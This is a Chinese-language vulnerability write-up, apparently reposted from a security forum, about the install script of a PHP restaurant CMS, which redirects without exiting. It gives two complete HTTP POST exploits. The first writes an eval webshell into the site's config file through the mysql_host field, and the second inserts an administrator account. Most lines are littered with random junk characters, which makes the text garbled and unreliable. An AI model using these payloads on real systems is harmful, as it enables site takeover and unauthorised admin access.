问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。$ ^1 r$ G G2 O
7 |' X# c, J+ ?5 F5 ` d2 H
<?php
9 {- @) m% J/ V' }# p" O/ d* Hif(file_exists("../install.lock"))
) ?8 c2 G- ~/ V9 [' r{4 z5 ?: ~8 d8 u t6 a$ _3 ~
header("Location: ../");//没有退出8 [5 S$ F% z. f# D& J/ t! E4 [. T: A
}7 R1 X% K) s" R
: u5 L5 Q$ N9 A
//echo 'tst';exit;( q) Y/ p, R$ k- n, Y* s- Z
require_once("init.php");9 a3 `" d5 |% t
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
* ?# y3 C8 U) Q7 t{( m; D) r, B9 o0 w
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。, z: V- I R- ^; h# a' @
1 u+ M# e, V$ @$ f6 S" t2 Z1、getshell(很危险)# F' d# g1 R* g8 K
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
, A$ W; q. i; \* n$ B. [{# s; J6 M) J0 H# v5 d. |( h
$smarty->assign("step",1);4 k! F" r7 J/ Z
$smarty->display("index.html");. Y1 l4 i9 @9 B
}elseif($_REQUEST['step']==2)" O6 X3 a, ^# H" O. H$ i d7 Q8 P( S
{
. m* W8 J9 v$ o1 V, c $mysql_host=trim($_POST['mysql_host']);
* k2 K$ K$ l k& D7 }+ k $mysql_user=trim($_POST['mysql_user']);- ~- G) K2 U* k. \) N; Y
$mysql_pwd=trim($_POST['mysql_pwd']);! s4 z; f3 {9 w% Z# a
$mysql_db=trim($_POST['mysql_db']);
: y3 y; Z1 H9 w: Y( X5 W $tblpre=trim($_POST['tblpre']);% M2 n, Z* z- E/ y
$domain==trim($_POST['domain']);
% F @6 R' V, b3 S# q# r) m $str="<?php \r\n";
5 i" E: N! C' C" S, `( p $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
- G4 v5 O. E' ?1 H) Z0 s; d $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";* q: V7 d K" w
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
2 u' P# q% T2 z $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
1 {+ u* k3 {9 D" f7 m& A0 H $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
3 |+ z8 J/ W( d $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
: v* t% e. [ z $str.='define("DOMAIN","'.$domain.'");'."\r\n";
# x# v \; E# y& N( g1 @- L3 C $str.='define("SKINS","default");'."\r\n";; L) s5 y: g8 m" F0 `. Q
$str.='?>';
8 _; M+ _& d p file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
+ e5 k* T' l( d& m上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马) ~$ H1 o, | d* k
POST /canting/install/index.php?m=index&step=2 HTTP/1.1 [- q" D1 H1 @
Host: 192.168.80.129: @* u5 ? \" z3 Y0 b* }/ M, e( N5 k" ~
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
9 W: {/ S A+ S H) ?0 HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
' H) q9 l8 W. d! F- v6 `( J, OAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
2 p* Z i3 T0 G3 S* |- m5 \Accept-Encoding: gzip, deflate) p5 w& d. s5 Z
Referer: http://192.168.80.129/canting/install/index.php?step=11 G3 Q, j( E: b. m! ^1 Z
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
! {7 F* ^; @' z4 NContent-Type: application/x-www-form-urlencoded% x- F% }% o6 s
Content-Length: 126
' Z, H# w2 ~8 Z0 o- r
; g& `7 [- j N" J8 v6 i) P- umysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
* d! N1 f) y- v& w( n但是这个方法很危险,将导致网站无法运行。
5 Z1 K G0 k9 g O' j3 p! r; S9 G0 L: A1 {' j
2、直接添加管理员
/ K" r; s7 V5 @& q9 _- {5 {( e; o2 K0 m; [. u) K
elseif($_REQUEST['step']==5)
$ l- q1 }. ]# V9 G* L{
$ O% ^; t$ M' P) t" F! u; O if($_POST) \# i( b+ O$ @. Q& R" Y
{ require_once("../config/config.inc.php");
& ?! f. p" f, B! J, P $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);$ j" w8 _0 ]. l) K- |
mysql_select_db(MYSQL_DB,$link);
* F( Q8 \2 ^, |0 _ mysql_query("SET NAMES ".MYSQL_CHARSET );8 J# H1 C3 ^7 W# m
mysql_query("SET sql_mode=''");: e0 R9 @2 i% d
% o: s+ M# v: S9 p) S7 x5 ~ $adminname=trim($_POST['adminname']);, B: l3 U c+ C3 C, O
$pwd1=trim($_POST['pwd1']);$ w# R. R4 B( j% G, V( j0 \
$pwd2=trim($_POST['pwd2']);
' b: t6 d. G4 j% i3 N8 r if(empty($adminname))
& W3 q3 A& Z; @ {0 J7 K4 G- N: h/ V. L) Y( z+ a
# J S- |4 M2 U) | l$ @
echo "<script>alert('管理员不能为空');history.go(-1);</script>";9 s# U8 R0 p' `( A: Q
exit();( M3 {" ]- s/ |+ H' s. v2 P
}
" R9 l5 z* p: O- a if(($pwd1!=$pwd2) or empty($pwd1))8 |3 S1 r: _- L" `* y( Z
{9 ~- v r1 ~* ], Y
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
" l# _5 b. I7 l9 q% {5 k }" k, r! W1 S# J; ^+ u2 Z+ t( F
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员& f8 n0 J9 |$ w. q7 ~6 B
}
7 @+ \9 f8 G/ S) L% j7 ` @, U这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
7 T9 ?8 d+ \6 z2 x) c gPOST /canting/install/index.php?m=index&step=5 HTTP/1.1
2 \$ t. ]" ^+ |8 AHost: 192.168.80.129
. d/ C1 S5 p% Q7 XUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.06 ^) x' R# O w/ z, t
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.80 x& z; H& q2 F* B$ P* L% [( |
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3& u! X4 x1 q9 b( ?9 l% Q" h+ n8 W
Accept-Encoding: gzip, deflate5 R' _' L: P/ _1 G) ]* r
Referer: http://www.2cto.com /canting/install/index.php?step=1
7 o6 x6 K; T i; L& v) cCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
- U* D1 C; f5 ?5 P8 }6 iContent-Type: application/x-www-form-urlencoded2 a% q( V, E3 N, d
Content-Length: 46, y! }) W; _$ c6 h/ c/ H* t; u
~6 \& `$ W7 c0 { ]& R& }# j
adminname=qingshen&pwd1=qingshen&pwd2=qingshen9 V( R" z G2 @
|